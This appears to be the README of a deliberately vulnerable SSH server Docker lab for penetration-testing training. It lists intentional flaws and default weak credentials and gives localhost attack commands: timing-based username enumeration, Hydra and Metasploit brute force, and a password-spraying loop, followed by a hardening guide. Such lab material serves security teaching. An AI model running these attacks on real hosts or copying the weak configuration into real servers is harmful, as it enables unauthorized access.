A deliberately vulnerable SSH server Docker environment for security testing, penetration testing training, and vulnerability research.
THIS IS A DELIBERATELY VULNERABLE SSH SERVER FOR EDUCATIONAL PURPOSES ONLY
- DO NOT deploy this in production environments
- DO NOT expose this to the internet
- ONLY use in isolated lab/testing environments
- This server contains multiple critical security vulnerabilities
This project provides a vulnerable SSH server with the following intentional security flaws:
- SSHv1 Protocol Support - Accepts deprecated SSHv1 connections
- Weak Encryption Algorithms - Supports 3DES, RC4, CBC mode ciphers
- Weak MAC Algorithms - Supports HMAC-MD5, HMAC-SHA1
- Weak Key Exchange - Supports DH Group 1 (Logjam vulnerable)
- Username Enumeration - Timing attack vulnerability
- Password Authentication - Enabled with weak passwords
- Root Login - Direct root access permitted
- Weak Host Keys - 1024-bit RSA and DSA keys
- No Rate Limiting - No brute-force protection
- No 2FA - Single-factor authentication only
- Security training and education
- Penetration testing practice
- Vulnerability scanning tool testing
- Security awareness demonstrations
- SSH security research
- Defensive security training
- Docker and Docker Compose installed
- Basic understanding of SSH and security concepts
- Isolated network environment (recommended)
# Clone or download this repository
cd ssh-vulnerable-lab
# Build and start the vulnerable SSH server
docker-compose up -d
# Check if container is running
docker ps
# View logs
docker-compose logs -fThe SSH server will be available on localhost:2222
| Username | Password | Notes |
|---|---|---|
| root | toor | Root access |
| testuser | password123 | Weak password |
| admin | admin | Very weak password |
| user1 | user1 | Username as password |
| validuser | ValidPass123! | Stronger password |
# Make test script executable
chmod +x test_vulnerabilities.sh
# Run basic tests
./test_vulnerabilities.sh# Make Python script executable
chmod +x advanced_tests.py
# Install required Python packages (if needed)
pip3 install paramiko
# Run comprehensive tests
python3 advanced_tests.py# Banner grab
nc localhost 2222
# Attempt SSHv1 connection
echo "SSH-1.5-TestClient" | nc localhost 2222# Test 3DES cipher
ssh -c 3des-cbc -p 2222 testuser@localhost
# Test RC4 cipher
ssh -c arcfour -p 2222 testuser@localhost# Valid username (note timing)
time ssh -o PreferredAuthentications=password -p 2222 testuser@localhost
# Invalid username (compare timing)
time ssh -o PreferredAuthentications=password -p 2222 fakeuser@localhost# Login with password
ssh -p 2222 testuser@localhost
# Password: password123
# Or using sshpass
sshpass -p password123 ssh -p 2222 testuser@localhost# Direct root login
ssh -p 2222 root@localhost
# Password: toor# Install ssh-audit
pip3 install ssh-audit
# Scan the server
ssh-audit localhost -p 2222
# Generate detailed report
ssh-audit localhost -p 2222 > ssh_audit_report.txt# Basic SSH scan
nmap -p 2222 --script ssh-hostkey,ssh2-enum-algos localhost
# Comprehensive scan
nmap -p 2222 --script ssh-* localhost# Start Metasploit
msfconsole
# Use SSH scanner
use auxiliary/scanner/ssh/ssh_version
set RHOSTS localhost
set RPORT 2222
run
# Username enumeration
use auxiliary/scanner/ssh/ssh_enumusers
set RHOSTS localhost
set RPORT 2222
set USER_FILE /path/to/usernames.txt
run# Using Hydra
hydra -l testuser -P /usr/share/wordlists/rockyou.txt ssh://localhost:2222
# Using Medusa
medusa -h localhost -n 2222 -u testuser -P passwords.txt -M ssh
# Using Ncrack
ncrack -p 2222 -u testuser -P passwords.txt localhost# Create user list
echo -e "testuser\nadmin\nuser1\nroot" > users.txt
# Create password list
echo -e "password123\nadmin\nuser1\ntoor" > passwords.txt
# Spray passwords
for pass in $(cat passwords.txt); do
for user in $(cat users.txt); do
sshpass -p "$pass" ssh -o StrictHostKeyChecking=no \
-p 2222 $user@localhost \
"echo Success: $user:$pass" 2>/dev/null
done
done#!/usr/bin/env python3
import paramiko
import time
def check_username(username):
start = time.time()
try:
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect('localhost', port=2222, username=username,
password='wrongpass', timeout=5)
except:
pass
return time.time() - start
# Test usernames
for user in ['testuser', 'admin', 'root', 'fakeuser', 'invalid']:
elapsed = check_username(user)
print(f"{user}: {elapsed:.4f}s")- VULNERABILITIES.md - Detailed vulnerability documentation with exploitation techniques
- SOLUTIONS.md - Complete remediation guide and secure SSH configuration
- Run basic tests with
test_vulnerabilities.sh - Try manual SSH connections with different parameters
- Read VULNERABILITIES.md to understand each issue
- Practice with ssh-audit scanning
- Run advanced tests with
advanced_tests.py - Use Nmap scripts for comprehensive scanning
- Practice brute-force attacks with Hydra
- Implement username enumeration techniques
- Use Metasploit modules for exploitation
- Write custom exploitation scripts
- Analyze network traffic with Wireshark
- Study SOLUTIONS.md and implement fixes
- Compare vulnerable vs. secure configurations
After testing vulnerabilities, learn how to fix them:
- Review SOLUTIONS.md for detailed remediation steps
- Implement secure SSH configuration
- Test the secure configuration
- Compare before/after security posture
# Disable SSHv1
Protocol 2
# Use strong algorithms only
Ciphers chacha20-poly1305@openssh.com,aes256-gcm@openssh.com
MACs hmac-sha2-512-etm@openssh.com,hmac-sha2-256-etm@openssh.com
KexAlgorithms curve25519-sha256,curve25519-sha256@libssh.org
# Disable password authentication
PasswordAuthentication no
PubkeyAuthentication yes
# Disable root login
PermitRootLogin no
# Implement rate limiting
MaxAuthTries 3
LoginGraceTime 30
# Install fail2ban
apt-get install fail2ban# Stop and remove containers
docker-compose down
# Remove images
docker rmi vulnerable-ssh-server
# Remove volumes (if any)
docker volume prune.
βββ Dockerfile # Vulnerable SSH server image
βββ docker-compose.yml # Docker Compose configuration
βββ test_vulnerabilities.sh # Basic vulnerability tests
βββ advanced_tests.py # Advanced Python test suite
βββ VULNERABILITIES.md # Detailed vulnerability documentation
βββ SOLUTIONS.md # Remediation guide
βββ README.md # This file
# Real-time logs
docker-compose logs -f
# SSH authentication logs
docker exec vulnerable-ssh-server tail -f /var/log/auth.log
# Failed login attempts
docker exec vulnerable-ssh-server grep "Failed password" /var/log/auth.log
# Successful logins
docker exec vulnerable-ssh-server grep "Accepted" /var/log/auth.log# Get shell access
docker exec -it vulnerable-ssh-server /bin/bash
# Check SSH configuration
cat /etc/ssh/sshd_config
# Check running processes
ps aux | grep sshd- CVE-1999-0085 - SSHv1 Protocol Vulnerabilities
- CVE-2018-15473 - Username Enumeration
- CVE-2016-6210 - User Enumeration via Timing
- Sweet32 Attack - 64-bit Block Cipher Vulnerability
- Logjam Attack - Diffie-Hellman Weakness
- ssh-audit - SSH server auditing
- Hydra - Password cracking
- Metasploit - Penetration testing framework
- Nmap - Network scanning
IMPORTANT: This vulnerable server is for educational purposes only.
- Only use in authorized, isolated lab environments
- Never deploy on production networks
- Do not expose to the internet
- Obtain proper authorization before testing
- Follow responsible disclosure practices
- Comply with local laws and regulations
This is an educational project. Suggestions for additional vulnerabilities or improvements are welcome.
This project is provided for educational purposes. Use at your own risk.
# Check logs
docker-compose logs
# Rebuild image
docker-compose build --no-cache
docker-compose up -d# Check if container is running
docker ps
# Check port mapping
docker port vulnerable-ssh-server
# Test connectivity
nc -zv localhost 2222# Make scripts executable
chmod +x test_vulnerabilities.sh
chmod +x advanced_tests.py
# Check SSH key permissions
chmod 600 ~/.ssh/id_rsaFor issues or questions:
- Check the documentation in VULNERABILITIES.md and SOLUTIONS.md
- Review the troubleshooting section above
- Check Docker and SSH logs for error messages
After completing this lab, you should be able to:
- β Identify SSH protocol vulnerabilities
- β Detect weak cryptographic algorithms
- β Perform username enumeration attacks
- β Execute brute-force attacks
- β Use security scanning tools effectively
- β Understand SSH security best practices
- β Implement secure SSH configurations
- β Recognize and mitigate SSH vulnerabilities
Remember: This is a vulnerable system by design. Always practice security testing ethically and legally!